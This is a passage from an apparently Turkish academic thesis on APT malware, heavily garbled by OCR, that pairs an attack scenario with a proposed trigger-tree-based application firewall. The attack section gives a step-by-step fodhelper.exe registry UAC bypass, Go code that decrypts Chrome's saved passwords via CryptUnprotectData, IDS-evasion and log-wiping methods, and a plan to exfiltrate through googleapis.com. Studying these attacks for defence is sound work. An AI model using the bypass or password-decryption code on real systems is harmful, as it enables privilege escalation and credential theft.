Yapilacak 6rnek APT saldir1 ¢alismasinda Metasploit kullanilarak ve zararli kodlar stenografi
ile gizlenerek bir PDF belgesi olusturuldu. Belge, asil zararli yazilimin indirilmesini

saglamaktadir.
3.1.2 MS Office Belgeleri icine zararh kod eklenmesi hakkinda:

MS Office belgeleri icerisine zararli kod eklenmesi hakkinda bulunan agiklardan birisi 2017
yilinda tespit edilmistir ve 2019 yilinda test edildiginde Windows Defender tarafindan tespit
edildigi gozlemlenmistir [25].

Internet iizerinde yayimlanan bir python betigi ile “rtf” uzantili belgelere zararli kod ve komut
satir1 betigi eklenebilmektedir. Kurban belgeye tikladiginda zararli kod ¢alisir ve bilgisayarina

uzaktan erigim saglanir veya bilgisayarina zararli yazilim indirilir.

Bu calismada bir sifir giin acig1 ilk kez tespit edilip yayinlanamamakta fakat daha 6nce bulunan

aciklar lizerinden senaryonun gergek olabilecegi anlatilmak istenmektedir.
3.1.3 Yiikseltilmis Yetkilerin Alinmasi

Yiikseltilmis yetkilerin elde edilebilmesi i¢in iki tane agik tespit edilmistir. Ac¢iklardan biri 2015
sirim Windows 10 sistemlerde calisip gilincellemelerle agik kapatilmasi sonucu artik

kullanilamazken bir tanesi halen kullanilabilmektedir.

Windows 10 isletim sisteminde yetki yiikseltme gerektigi zaman ekran kararmakta ve
kullaniciya dogrudan mevcut programin yiikseltilmis yetkide c¢aligmak istedigi belirtilip
calistirllip ¢alistirilmamasi sorulmaktadir. Buna kullanici erisim protokolii (User Access
Protocol) denmektedir. Sessiz bir saldir1 i¢in kullanicinin bdyle bir istegi gérmemesi ve kodun

arka planda giivenlik yazilimina takilmadan ¢alismas1 beklenmektedir.

[k yéntem, Windows 10 2015 siiriimiimde zamanlanmis gorevler kisminda bulunan bir agik
kullanmaktadir. Komut satir1 kodlar1 ile zamanlanmis gorev olusturulmaktadir. Bu siirlimde
zamanlanmig  gorevler calistiklar1  zaman  uygulamalarn  yiikseltilmis  yetkilerle

calistirmaktadirlar. Bu sayede yetki elde edilmis olur.



26

Bir diger yontem sistem dosyalarinda yer alan “fodhelper.exe” dosyasi iizerinden islemektedir.
Bu dosya, sistem 0zellikleri degistirilecegi zaman calistirilmakta ve kendiliginden ylikseltilmis
yetkiler ile ¢aligmaktadir. Bu dosya her calistiginda Windows Kayit Anahtarlar tizerinde bir
kontrol yapar. Bu kontrole gore her calistiginda varsayilan bir dosya yolu girilmigse onu da
calistirmaktadir. Kayit anahtarina (registery) zararli kodun adresi girilir. Bdylece
“fodhelper.exe” ¢alistirildiginda yiikseltilmis yetkiler verilerek zararli yazilimin ¢alistirilmasi

saglanir.

Yetkiler alindiktan sonra kayit anahtarmin eski haline getirilmesi gerekmektedir. Aksi halde
kullanic1 sistem 0Ozelliklerini goriintiilemek ve degistirmek istedigi zaman pencerelerin

ac¢ilmasinda sorun olusabilmektedir.

Saldirinin sessiz olabilmesi i¢in zararl kodlarin arka planda ¢alismasi ve kullanic ara yiiziinde

hicbir pencere agilmamasi gerekmektedir.
Yazilim ile yiikseltilmis yetki almanin basit bir yolu su sekildedir:

e Kayit defteri HKEY CURRENT USER igerisinde

e Software/classes/ms-settings/Shell/open/command i¢ine gel

e DelegateExecute anahtari olustur ve iginde “’ bos string yaz

e Isimsiz anahtar yarat ve yiikseltilmis yetki ile acilmasini istedigin dosya yolunu gir

e fodhelper.exe’ ¢alistir veya kullanicinin ayarlara girmesini bekle.
3.1.4 Google Chrome Kullanici Parolasim Sifreleme Yontemi ve Sifreyi Kirma

Windows isletim sistemi i¢in yazilan Chrome tarayicisi, kullanict girisi verileri saklanmasi
istendigi zaman verileri sifreleyerek saklamaktadir. Fakat bu tarayici verileri, isletim sistemi
giris sifresi lizerinden sifrelenmektedir. Chrome iizerinden sifrelenmis verileri goriintiilemek
isteyen birinin, isletim sistemi kullanici sifresini bilmesi gerekmektedir. Sifreleme AES-256 ile

yapilmaktadir. Mac ve Linux igletim sistemlerinde farkli koruma yontemleri kullanilmaktadir.

Yapilan ¢alisma sonucu Chrome tarayicisinin kullanici giris verilerini ve cerezler (cookie)
verilerini SQLite3 veri tabaninda tuttugu ve parola gibi hassas verileri Windows kullanic1 girisi

bilgileri ile sifreledigi, bu alanlarin “blob” olarak goriintiilendigi tespit edildi.
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Kurban kullanicinin agtig1 oturum iginde yiikseltilmis yetki alabilen bir programin sifrelenmis
Chrome dosyalarina erisebildigi gézlemlendi. Chrome’un yaptig1 sifreleme, kullanic1 oturum
verilerini kullandig1 i¢in sifreyi ¢6zmek i¢in de yiikseltilmis yetkilere sahip olmanin yeterli
oldugu tespit edildi. Yetki alan program sifreyi ¢6zmek i¢in Crypt32 ve Karnel32 sistem dll’leri
cagirilmast gerektigi ve sifre ¢ozme isleminin Crypt32.dll dosyasi iizerinden ¢agirilan

CryptUnprotectedData fonksiyonunun yaptig kesfedildi.

SQLite veri tabanindan ¢ekilen “blob” verisi bu fonksiyon ile agilmistir. Verinin sifrelendigi
bilgisayar kullanilarak Crypt32.dll dosyasi i¢inden CryptUnprotectedData fonksiyonu
kullanilmistir. Sifreli veri ilk parametreye eklenir. Diger parametreler bos kalir. Basarili bir
sifre kirma isleminde asagidaki “dll” dosyalarina erisilir. Hangi “dll” dosyalarinin kullanildigin1

bulmak i¢in ProcessExplorer kullanildi.

Fat

Mame Description Company Name Path
advapil2 di Advanced Windows 32 Base API Microsoft Corporation CWindowsSystem 32 \advapi32 dil
beryptprimitives.dil Windows Cryptographic Primitives ...  Microsoft Carpaoration C:Windows System 32 \benyptprimitives.dll
cfgmgr32 dil Corfiguration Manager DLL Microsoft Corporation C:\WindowsSystem 32 cfgmgr32 dil
crypt32 dil Crypto API132 Microgsoft Corporation CWindows System 32 cnypt 32.dll
cryptbase. dll Base cryptographic APl DLL Microsoft Corporation C:\Windows' System 32 cryptbase dll
dpapi dil Data Protection API Microsoft Corporation C: M Windows System 32%dpapi dll
kemel32 dil Windows MT BASE API Client DLL  Microsoft Corporation CWindows System 32\ emel 32 dll
KemelBase dl Windows MT BASE AP Cliert DLL  Microsoft Corporation C\WindowsSystem 32 KemelBase dll
locale nls C: ' Windows'System 32ocale nls
i exe C:\Users‘\mustafa®go’\src chrome\main.exe
msasn1.dl ASN.1 Runtime APls Microsoft Corporation C\Windows System 32msasn1.dll
msvert dll Windows MT CRT DLL Microsoft Corporation C:\Windows System 32 msvert dll
ritdll dll MT Layer DLL Microsoft Corporation C:Windows'System 32 ntdlldll
rpcrtd dil Remote Procedure Call Runtime Microsoft Corporation CWindows System 32 mpert 4 dil
sechost.dll Host for SCM/SDDL/LSA Lookup ... Microsoft Camparation C:\Windows System 32 sechost dl
ucrtbase dll Microsoft® C Runtime Library Microsoft Corporation C:Windows'System 32 ucrtbase dll
winimm dil MCI AP DLL Microsoft Corporation C:Windows System 32 winmm dll
winmmbase dl Base Multimedia BEdension API DLL  Microsoft Carparation C:\Windows System 32 winmmbase dll
ws2_32.dl Windows Socket 2.0 32-Bit DLL Microsoft Corporation C:MWindows System 32ws2_32 dll

Sekil 3.1: Windows yetkilendirmesi ile yapilan sifrelemelerin kirilmasi i¢in erisilmesi gereken

dll listesi

Sifrenin kirilmasi i¢in sifreli veri tabani dosyasinin gegici klasére kopyalanmasi gerekmektedir
[26]. Benzer sekilde win32crypt isimli C dili ile olusturulmus bir kiitiiphane ile de bu islem
yapilabilmektedir [27] [28] [29] [30] [31] [32] [33] [34] [35] [36].
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Bu islemin kurban bilgisayarda yapilmasi gerekmektedir. Daha sonra veriler sessiz sekilde uzak

sunucuya gonderilmelidir.
Yazilimsal olarak gerceklestirmek i¢in gerekli adimlar:

e Chrome blob wverisi elde edilmesi i¢in: AppData/Local/Google/Chrome/User
Data/Default/Login Data dosyasi alinir ve gegici klasore kopyalanir

e Bu bir sqlite 3 dosyasidir. i¢inde password siitunu bulunur. Sifreli veri burdadir.

e Yikseltilmis yetki ile Crypt32.dll dosyasi i¢indeki CryptUnprotectedData fonksiyonu

cagirilir ve parametre olarak sifreli veri eklenir.
3.1.5 1IDS Baypas icin Bulunan Yéntemler
Ekleme Saldirist

IDS’yi sasirtmak i¢in dogru olmayan bir¢ok paket gonderilir. Bir siire sonra sistem hatali

paketler yiiziinden saldirinin hangi paket oldugunu tespit edememesi beklenir.
DoS

Birg¢ok IDS sistemi merkezi giinliik kaydi (log) sunucusu kullanir. Bu merkezi giinliik kaydi

sunucusuna yapilacak bir DoS saldirisi, IDS’nin ¢aligmasini aksatacaktir.
Gizleme ve Kodlama

Gizleme (obfuscating), bir metni okunabilir anlamli bir kelimeden anlamsiz bir kelimeye
dontistirme demektir. Genellikle giivenlik ve gizlilik gerekgeleri ile kullanilir. Kodlama
(encoding) metni belli standartlara gore belli kodlara doniistiirmek i¢in kullanilir. Web
transferlerinde kullanilir. Saldirganin gonderecegi diiz metin yerine anlamsiz kodlar géren IDS

sistemi, metnin akmasina izin verebilir.
Oturum Ekleme ya da Par¢alama (Fragmantasyon)

Paketlerin boliinerek IDS alarmi olusturmayacak sekilde parca parca gonderilmesi teknigidir.
Bir¢ok IDS, paketleri birlestirip anlamli paket olusturarak paketin igeriginin dijital imzasinm

inceleyerek alarm olusturma 6zelligi tagimaz.
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Gecersiz Paketler

Gegersiz paket gondererek birkag IDS kontroliinii manipiile ederek paketi sistemden ge¢irmek

miimkiin olabilir.
Cok Bicimli (Polimorfik) Kabul Kodlar

IDS sistemler standart paket imzalar1 kullanir. Paket yiikii (payload) degistirilerek IDS’ nin

okumas1 engellenebilir [37].

Sonug: Bu 6zelliklerden “Kodlama” ve “Pargalama” 6zellikleri, sessiz ve uzun siireli yapilacak

saldir1 i¢in uygun 6zellikler olarak belirlendi.
3.1.6 Verilerin Disar1 Sizdirilmasi

Verileri uzak sunucuya gondermek i¢in herhangi bir IP adresi ya da alan adi yerine Google
servisleri tercih edilecektir. Bunun sebebi verilerin tanidik bir alan adi iizerinden gonderilmesi
ve engellere takilmamasidir. Google servisleri, alan ad1 olarak googleapis.com kullanmaktadir.
Yine Google tarafindan veri saklama amacli sunulan bir bagka hizmet olan Firebase hizmeti,
firebase.io alan ad1 kullanmaktadir. i¢inde Google kelimesi gectigi icin googleapis.com alan
ad1 tizerinden verilerin Google servislerine kaydedilmesi ve oradan elde edilmesine karar

verildi.

Veriler sikistirilip sifrelenerek gonderilmelidir. Boylece hem dosya boyutu hem de veri igerigi

gizlenmis olur.

Verilerin gonderilecegi siireleri belirlemek i¢in “netstat” komutunun kullanilmasi uygun
bulundu ¢linkii bu komut ile anlik olarak hangi baglantilarin oldugu, hangi portlarin kullanildig:
tespit edilebilmektedir. Zararli yazilim, baglantinin en ¢ok oldugu zaman caligmasi ve ¢ok az

caligmasi gerekmektedir. Bu sekilde anomali tespit sistemlerine takilma ihtimali diisecektir.
3.1.7 Olay Giinliik Kaydi (Log) Verilerinin Silinmesi

Yiikseltilmis yetkileri alindiktan sonra Windows Olay Kayitlar verilerinin silinmesine izin
verilmekte. Bunun i¢in zararli yazilimin yazildigi programlama dilinde Olay Giinliik Kayd1

dosyalarin1 okumak ve silmek i¢in gerekli kiitiiphane eklenebilir ve boylece gerekli islemler
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yapilabilir. Ayrica internet {izerinde bulunan “wevtutil.exe” isimli program ile de Olay Giinliik

Kaydi verileri silinebilmektedir [38].

Tiim bu adimlar uygulanarak gelistirilen bir yazilim, her ne kadar APT yazilim1 kadar karmasik
ve sofistike olmasa da; i¢inde sifir giin acig1 istismar1 bulunan, sisteme bulasip izlerini silen ve
sessiz bir sekilde verileri giivenli kabul edilebilir uzak sunucuya gonderen bir zararl yazilim

yapisinin ¢alisma sekli tizerinde fikir elde edilmesini saglamaktadir.

3.2 GUVENLIK YAZILIMI
Yukarda yer alan bilgiler gozden gecirildiginde ve mevcut ¢caligmalar incelendiginde, lizerinde
durulmamis farkli bir konu olan kullanic1 yonlendirmeli anormal davranig tespit sistemi fikri

gelistirilmistir.

Kurgulanan sistem, otomatik baglatilan sistem dosyalarini, sonradan yiliklenmis programlari ve
kullanic1 davranisi ile tetiklenen uygulamalar tespit edecektir ve normal durumda olabilecek
tetikleme agaclar1 veri tabani ortaya ¢ikartacaktir. Bu veri tabaninda tiim uygulamalarin
tetikleyicileri yer alacak ve hangi tetikleme agacinin internet baglantisina izni oldugu program

tarafindan 6grenilecektir.

Program sistemle birlikte basliyorsa farkl bir tetikleme agaci, kullanici tiklamasi ile bagliyorsa
farkl1 bir tetikleme agaci ve bagka bir program tarafindan baslatiliyorsa farkli bir tetikleme agaci
cikmaktadir. Internete erisim yetkisi olan beyaz liste filtrelemesi, bu tetikleme agaclarina gore
verilmektedir. Ornegin kullanicinin ¢alistirdigs tarayici internete baglanma yetkisine sahipken

otomatik ¢aligtirilan tarayici internete baglanamaz ve giivenlik yazilimi uyar verir.
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Sistem baslatildiginda Otomatik tetiklenen Kullanici islemi sonrasi
otomatik tetiklenen sonradan yuklenmis tetiklenen programlar
sistem programlari programlar

@& L@
l

7zip.exe (internet baglant
yetkisi yok)

v

update.exe (internet Ccleaner.exe
baglanti yetkisi var) (internet baglanti yetkisi yok) Firefox (internet baglanti

l yetkisi var)

ccleanerUpdate.exe (internet
baglanti yetkisi yok)

Sekil 3.2: Ornek Giivenlik Yazilimi Uygulama Tetiklenme Agaci

Bir PDF dosyasi, kullanici tarafindan tiklandiginda internet baglantisi istemesi beklenmez. O
halde kullanic1 tetiklemesi ile acilan PDF dosyasi ile olusan higbir tetikleme, internete

baglanamamalidir.

Bu sistemin standart giivenlik duvarindan farki, islem agacina gore uygulamalarin
tetikleyenlerini bulup buna gore bir filtreleme uygulamasi olacaktir. Uygulama giivenlik
duvarlaria daha yakindir. Ornegin kullanici tarafindan agilan web tarayicisina, sadece 80 portu
tizerinden baglant1 izni verilir fakat kullanicinin agmadigi, baska program tarafindan

tetiklenerek agilan tarayiciya hig bir baglant1 izni verilmez. Kullaniciya sorulabilir.

Izin verilen program tetikleme agac1 disinda hicbir programin ag kullanmasina izin verilmez.
Izin verilen programlar belli IP ve port kurallarina gore baglant1 kurabilirler. Sistem beyaz liste

(whitelist) mantig1 ile ¢alisacaktir.

APT giivenlik yazilimi, sistem baslatildig1 andan itibaren hangi uygulamalarin sistem, hangi
uygulamalarin elle baglatildiginin agacimi ¢ikartmali ve bu uygulamalarin internete baglanti
portu, protokolii ve IP adresleri verilerini tutmali. Kullanicidan port, IP ve baglant1 protokolii

izni de alinabilecek.
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Calisma kapsaminda onerilen giivenli yazilim, 6n tanimli ve sonradan giincellenebilir sekilde
program islem agacina bakilarak kurulmak istenen ag baglantisina izin verilmesi veya

verilmemesi tabanli caligmaktadir.
3.2.1 Windows Olay Kaydi

Zararlh yazilim Olay Kayd1 verilerini silecegi i¢in, giivenli yazilimin olay kayitlarin1 grup
politikasi yetkileri ile korumasi ve yeniden ayr1 bir yerde kaydetmesi gerekmektedir. Bu kayit
yeti bulut veya sistemde yerel sifrelenmis veri dosyasi olabilir. Bu veriler zarar gordiigiinde

giivenli yazilim alarm verip zarar veren programi bulup kullaniciy1 bilgilendirecektir.
3.2.2 internet Baglantis1 Kisiti

Onceden kurgulanan kurallara gore bazi uygulamalarin internete baglanmasina izin verilirken
bazilarina izin verilmemesi gerekmektedir. Bunun i¢in internet iizerinde acik kaynakli

“WindowsFirewallHelper” Kiitiiphanesi [39] kullanilacaktir.

Internet kisit1 kurallarini belirlemek icin, farkli siiriimlerdeki temiz Windows 10 kurulumlari
yapilacak, daha sonra kurulumun hemen ardindan giivenlik yazilimi ile islem agaglar1 ve
internet baglantilar1 tespit edilecektir. Boylece Windows 10 yaziliminin kendi sistemi i¢inde
gerceklesen tiim program tetikleyicileri ve internet baglantilar1 6grenilecek, varsayilan olarak

beyaz listeye alinacaktir.

Daha sonra sisteme yeni programlar yiiklendikge, internet baglantisi isteyen uygulamalarin tetik
agaci kontrol edilerek kullanici tarafindan dogrudan mi1 baslatild1 yoksa ¢ok dolaylt yoldan m1

baslatild1 tespit edilecektir.
3.2.3 Kaullaniciya Sorulmasi

Gozetmen (supervisor) ile egitim: Standart sistem uygulamalari haricinde, uygulamalar internet
baglantis1 kurmak istediginde kullaniciya izin verip vermeyecegi sorulacaktir. Standart sistem

uygulamalarinin kuracaklar1 baglanti kisitlari, 6n tanimli olarak yazilimin i¢inde gelmektedir.

Kullanici tarafindan dogrudan baslatilan internet baglantis1 istegi gonderen uygulamalarda
ekrana “Baglattiginiz uygulamanin internet baglantis1 kurmasi gerektigini biliyor muydunuz?”

ya da “Bu programin internet baglantis1 kurmasi gerekli mi?” seklinde soru gelmelidir.
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Sistem tarafindan internet baglantis1 isteyen bir uygulama baslatildiginda, glivenli yazilim
tarafindan bu uygulamanin islem agacma ve kullandigi dll dosyalarmma bakilmalidir ve
kullaniciya “Otomatik baslayan x kdkenli y yaziliminin internet baglantis1 kurmasi gerekli mi?”

seklinde soru sorulmasi gerekmektedir.
Ornek Senaryolar

e Az Once baslattiginiz chrome.exe uygulamasi internet tarayicist mi? Evet ise 80 ve 443
portlar1 {izerinden tiim baglantilara izin verilecek. Bu tip uygulamalar kara liste
(blacklist) ile filtrelenmelidir.

e Uygulama kullanimi i¢in internet baglantis1 gerekiyor mu? Evet ise baglanti siirekli mi
olmal1 yoksa 5 dakika boyunca baglantiya izin verilmesi yeterli mi?

e winlogon.exe iizerinden calisan ve 05.05.2019 tarihinde sisteme yiiklenen a.exe
yazilim1 malware.com alan adi ile 80 portu lizerinden ilk kez baglant1 kurmak istiyor.

Bu programi siz mi yiiklediniz? Hayir ise kullaniciya uyart verilecektir.
3.2.4 lislem Tetikleme Agaci

Volatility Framework, pyhon dili ile yazilmis olan ve sistemde c¢alisan uygulamanin hangi
tetikleyici ile baslatildigin1 gosteren Black Hat tarafindan gelistirilmis bir uygulamadir.
Sistemde internete baglanmak isteyen bir program oldugunda programin hangi tetikleme agaci

ile baglatildigi bu uygulama tlizerinden tespit edilecektir.

Acik kaynak kodlu Process Hacker uygulamasinda yer alan kodlar kullanilarak, internet
baglantisina sahip uygulamalarin hangileri oldugu kaydi tutulacak ve ilk kez baglant1 kurmak
isteyen ve beyaz listede bulunmayan uygulamalar i¢in uygulamanin tetikleyicisi géz oniinde

bulundurularak kullaniciya internet baglanti yetkisi verilip verilmeyecegi sorulacaktir.

Bunun yaninda hangi uygulamalarin hangi baglantilar kurmasi1 gerektigini 6n tanimli olarak
programa kaydedebilmek temiz isletim sistemi kurulumunun ihtiyag duydugu baglanti

adreslerinin kaydi tutulacaktir.
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4. BULGULAR

Yapilan g¢alismalar sonucu APT yazilimlarinin ¢ok ¢esitli yollardan sisteme bulasabildigi,
aciklarin kapatildikca yeni agiklarin ortaya ¢iktig1 goriilmiistiir. Bu sorunun olasi1 sebeplerinden
birinin APT saldirilarinin genelde sistemde yer alan zafiyetli kodlar iizerinden yapilmasindan
kaynaklandigi anlasilmistir. Bu zafiyetli kodlar isletim sisteminden kaynaklandigi gibi
bilgisayara yliklenen programlardan da kaynaklanabilmektedir. APT saldirilarini tamamen
engellemek icin sistemde hicbir harici program bulunmamasi ve sistemin ¢ok kisitl
kullanilmas1 gerekmekte ya da ¢ok yiiksek harcamalarin yapilmasi gerekmektedir. Bu kisitlar
kullanim verimliligini diistirmektedir. Bu kadar kisith kullanima ragmen zararli yazilim sistem

dosyalarina bulagabilmektedir.

Windows isletim sisteminde yiikseltilmis yetki almanin en basit yolu sudur: calistirilmak
istendiginde varsayilan olarak yiikseltilmis yetki alan uygulamalar tespit edilir. Komut satir1

uygulamasi (cmd.exe) ad1 degistirilerek bu uygulamalardan birinin ismi verilir.

ComputerHEEY CLURRENT_LSER\Software\Classes\ms-settings\shellopen'command

who A || Mamea Type [rata

K-l ena -li REG 57 crndl.owe fo powershellaxe
ubox-friendfinder ¥ DelegateExecute  REG 57

wbioy-gamehub

xhoxgames

whox-Ifg

sbosmeapp-1297 287 14
b R B TR
whox-network
wbioe-profile
whox- settings
xbox-store
abon-boui
Fatinlal

b mis-Settings

b shell

b C.Fﬂ_r!

carmmand

Sekil 4.1: fodhelper.exe Calistiginda Regedit Uzerinden Yapilacak Degisiklik Ile Yiikseltilmis Yetkili
Powershell Calistirmak I¢in Gerekli islem
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Google Chrome ve daha c¢ogu yazilimin giivenlik amaci ile kullandigi, oturum agmada
kullanilan Kullanic1 Kimlik Bilgileri {izerinden yapilan sifreleme ile iiretilen BLOB veri

tipindeki veri, yiikseltilmis yetki alan bir uygulama ile kirilabilmekte.

ar (
dllcrypt32 = syscall.MewlszyDLL("Crypt32.d11")
dllkernel32 = syscall.NewlazyDLL("Kernel32.d11™)
procDecryptData = dllcrypt32.NewProc{"CryptUnprotectData™)
proclocalFree = dllkernel32.NewProc{"LocalFree")
dataPath string = os.Getenv("USERPROFILE") + "\MAppData\\local\\Google\\Chrome\\User Data\\Default\\lLogin Data"
//dataPath = "C:\\Users\\mustafa\\Desktop\\Login Data"
)

cbData uint32

pbData *byte

func NewBlob(d []byte) *DATA BLOE {

if len(d) ==

return &DATA_BLOB{}
1
g
return &DATA_BLOB{

pbData: &d[a],

cbhData: uint32{len{d)),

¥
func (b *DATA BLOE) ToByteArray() [Jbyte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 38]byte)({unsafe.Pointer(b.pbData))[:])

return d

func Decrypt(data [Jbyte) ([lbyte, error) {
var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr{unsafe.Pointer(NewBlob(data))), @, @, @, @, @, uintptr{unsafe.Pointer(Routblob)))
ifr=28/{
return nil; err
}
defer proclocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil

¥

Sekil 4.2: Go Dili kullanilarak Windows DLL Dosyalarina Erisim ve Google Chrome Verilerindeki
Sifrelemeyi C6zmek I¢in Ornek Kod

Yeni kurulmus Windows XP {izerinde, bu makalede Onerilen giivenli yazilim kuruldu.

Windows’un standart olarak internet baglantis1 gerektiren uygulamalari ile internet baglantisi
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kurulduktan sonra tiim uygulamalarin hangi tetiklemeler ile (otomatik veya kullanic1) hangi

port iizerinden hangi alan ad1 veya IP adresi iizerinden baglant1 kurduklari tespit edildi. Bazi

uygulamalar (internet tarayici) tek port iizerinden ¢ok fazla alan adi baglantis1 kurarken ve

kullanicr tetiklemesi ile ¢alisirken, bazi uygulamalar sistem tetiklemesi ile belli alan ad1 ve port

tizerinden baglant1 kurmaktadir.

Giivenli yazilim egitim siireci bittikten sonra sisteme zararli PDF ve Microsoft Office dosyalari

indirildi. Microsoft Office belgesi, zararli yazilimi indirmek i¢in taninmayan uzak sunucuya

baglanmak istedigi zaman gilivenli yazilim, sira dist adres baglant1 uyaris1 verdi ve baglantiy1

engelleyerek kullaniciy1 bilgilendirdi.

Onerilen giivenli yazilim gercgeklestirilip arastirilan APT saldir1 senaryolarma karsi

giivenilirligi incelenmistir. Bu baglamda:

1-

Giivenli yazilim, mizrak oltalama saldirilarini durduramamaktadir. Buna ragmen
mizrak oltalama saldirisi ile gelen PDF ve Microsoft Office dosyalar1 ¢alistirildiginda
anormal baglant1 kurma istekleri tespit edilmekte ve engellenmektedir. Boylece zararh
yazilimin uzaktan indirilmesi bu asamada engellenmekte ve kullanict anormal durum
hakkinda bilgilendirilmektedir.

Giivenli yazilim, sistem i¢inde gerceklesen ylikseltilmis yetki islemleri hakkinda bilgi
sahibi olmamaktadir. Gelen ve giden tiim baglanti isteklerini yetkiye bakmadan
filtrelemektedir.

Giivenli yazilimin sistem igerisinde yapilan veri degisiklikleri ve veri kopyalamalari
tizerinde bir etkisi veya gozlemi bulunmamaktadir. Sisteme sizmay1 basaran bir virlis
sitem verileri lizerinde degisiklik yapabilmektedir. APT yaziliminin verileri elde etmesi
fazinda, Onerilen giivenli yazilimin bir etkisi bulunmamaktadir.

IDS ve IPS yazilimlari, gelen ve giden IP paketlerinin igerisindeki bilgiye gore
calismaktadir. Onerilen giivenlik sistemi, hangi uygulamanin kim tarafindan
tetiklendigi incelenerek ¢alismaktadir. Ayrica IP adresi ve port bilgisi de filtreye dahil
olmaktadir. IDS yazilimlarin1 atlatabilecek herhangi bir IP paketi, Onerilen giivenli
sistem tarafindan engellenmektedir. Bunun sebebi IP paketinin giivenli yazilim
tarafindan taninmayan tetikleyiciler tarafindan olusturulmasidir.

Onerilen yazilim, giinliik kaydi verilerini diizenli olarak kendi veri tabanina

kopyalamaktadir. Herhangi bir verinin silinmesi halinde uyar1 verecektir.
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APT vyazilimlariin sisteme bulagmasi kaginilmazdir. Daima bir insan zafiyetinden
kaynaklanacak bir sizma gergeklesebilir. Sisteme yiiklenecek herhangi bir yasal yazilimin
icerisinde bile sistem hakkinda bilgi toplayan ve bu bilgileri disar1 sizdiran gizli casus
yazilimlar bulunabilmektedir. Bu sebeplerden dolay1 sistemdeki yazilimsal agiklar1 kapatmaya
caligmak fazladan gayret sarf edilmesine sebep olmakta ayrica maliyeti arttirmaktadir. Yine de
giivenli sirketler tarafindan iiretilen yazilimlarin giivenlik yamalarinin diizenli olarak kontrol

edilip yliklenmesi iyi bir aligkanlik olarak goriilmektedir.

Sistemde yer alan zararli sessiz yazilimlarin iki zarar1 bulunmakta. Biri sisteme bagli cihazlari
bozmasi digeri de sistemden veri kacirmasidir. Sisteme bagli cihazlarin korunmasi i¢in en ¢ok

yetki poligeleri onerilmektedir fakat bu ¢alisma, yetkilendirme poligelerini kapsamamaktadir.

Zararli yazilimin ag iizerinden baska cihazlara zarar vermesini engellemek i¢in sadece IP bazli
giivenlik duvarlari atlatilabilirken uygulama ve uygulama tetikleyicisi bazli kullanici gézetimli
(supervised) anomali tespit giivenlik duvari ile bu girisimleri engellenmekte ve sistem

yoneticisi uyarilmaktadir. Bu sayede veri sizdirilmasi kontrol altina saglanmaktadir.

Giivenli yazilimin tiim giinliik verilerinin yedegini almasi sayesinde giinliik verileri iizerinde

yapilacak degisiklik, etkisiz olur ve saldir1 tehdidi hakkinda alarm verilebilir.

Sistemlerin en biiyiik ag1g1 insan zafiyetidir. Onerilen sistem en ¢ok insan karar iizerine
caligmaktadir. Giivenlik yazilimini kullanacak kisinin bilgi sahibi olmasi gerekmekte ve
dikkatli sekilde karar vermesi gerekmektedir. Bu problemleri asmak i¢in yazilimin daha ¢ok
cesitli yapay zeka teknigi ile anomali tespiti yapmasi ve bu tespitlerle olusturulan bir korelasyon
ile kullaniciya zararlilik konusunda yiiksek risk, diisiik risk gibi bir deger verilmesi uygun

olacaktir.

Giivenlik sisteminin daha iyi hale gelmesi i¢in birden fazla kullanici cevabi, bulut {izerinde
kaydedilebilir ve her program agaci i¢in giivenilirlik verisi elde edilebilir. Boylece higbir
kullanici tarafindan oylanmamis islem agaci yapilarinin internet baglantilari ile ilgili tehlikeli

alarmi verilebilir.

Sistemin amaci, sistemde olusacak tiim tetikleme semasini anlasilabilir ve kolay yonetilebilir
sekilde sistem yOneticine sunmak, bdylece istenmeyen baglantilar1 engellemektir. Boylece

meydana gelebilecek tiim baglantilar tamamen kullanici kararina birakilacaktir.
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5. TARTISMA VE SONUC

Onerilen giivenli yazilim, basarili bir sekilde taninmayan uygulamalar tarafindan yapilan

baglanti isteklerini engellemektedir.

Sistemin en biiyiik eksiklerinden biri kullaniciya ¢ok fazla sayida yanlis pozitif alarm vermesi

ve kurulmak istenen baglantinin onaylanip onaylanmayacaginin sorulmasidir.

Kullanicinin dogru kararlar1 vermesine yardim etmek amaci ile normal davranis ve anormal
davranig daha fazla yontem kullanilarak izlenmeli ve kullaniciya alarm verilip taninmayan
baglantt ¢esitleri i¢in yiiksek risk uyarist verilmeli, kullanicinin se¢im yapmasi
kolaylastirilmalidir. Cok fazla insan faktorii isin igine girmektedir. Her seye ragmen hig
farkinda olunmadan bir baglantinin ger¢eklesmesindense kullaniciya yeni kurulan baglantilarin

haber verilmesi ve baglantinin engellenmesi daha giivenlidir.

Bilisim sistemleri konusunda yetkin olmayan kullanicilar, bu sistemi kullanirken zorluk
yasayacag gibi bilgi sahibi olan kisiler bile karmasik baglanti istekleri karsisinda karar vermek

zorunda kalacak ve bu da insan kaynakli hata olasiligin1 arttiracaktir.

Sistemin daha iyi olmasi i¢in bulut temelli olarak siirekli giincellenip, baglanti1 kurmak isteyen

uygulama tetikleme agaglari konusunda kullaniciy1 risk konusunda uyaran yapilar eklenebilir.

Kullanic1 kararsiz kalmasi durumunda baglantiya 5 dakika boyunca izin verme secenegi

eklenebilir. Boylece siirekli saldirilar engellenmis olur.

Onerilen giivenlik sistemi, sistem igindeki verilerin giivenligini saglamamaktadir. Verilerin
silinmesi veya degistirilmesi, ag baglantis1 haricinde sisteme bagli cihazlarin kontrol edilmesi

konusunda iglevsizdir.

Baglant1 kurmasina izin verilen giivenli sayilan uygulamalarin kullandig1 verilerin zararh
yazilim tarafindan degistirilmesi ile Onerilen sistemin olusturacagr gilivenlik Onlemi,
asilabilmektedir. Ornegin bir web sitesi sunucu yazilimmin {izerinden erisilmesine olanak

sagladigi dosyalar degistirilirse, Onerilen glivenlik sistemi bu konuda pasif kalmaktadir.

Bunlarin yanina kullanici aktivitesi bazli anomali tespiti de eklenebilirdi. Bu sisteme gore

kullanici aktif oldugunda ve olmadiginda baglant1 kuran uygulamalar tespit edilecek ve baglanti
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IP adresi, portu ve génderilen veri boyutu parametreleri, program tarafindan kaydedilecektir.
Kullanict aktif olmadiginda parametrelere aykir1 baglanti kuruldugunda sistem uyari verip

izinsiz aktiviteyi haber verebilirdi.

Bunlarin yaninda, 6nerilen giivenlik sistemi, tarayici lizerinden yapilabilecek saldirilara kars:
koruma saglamamaktadir. Ornegin tarayiciya yiiklenebilecek zararli bir eklentiyi
engellememekte veya tarayici kodlarinda yapilan degisiklikleri tespit edememektedir. Zararh
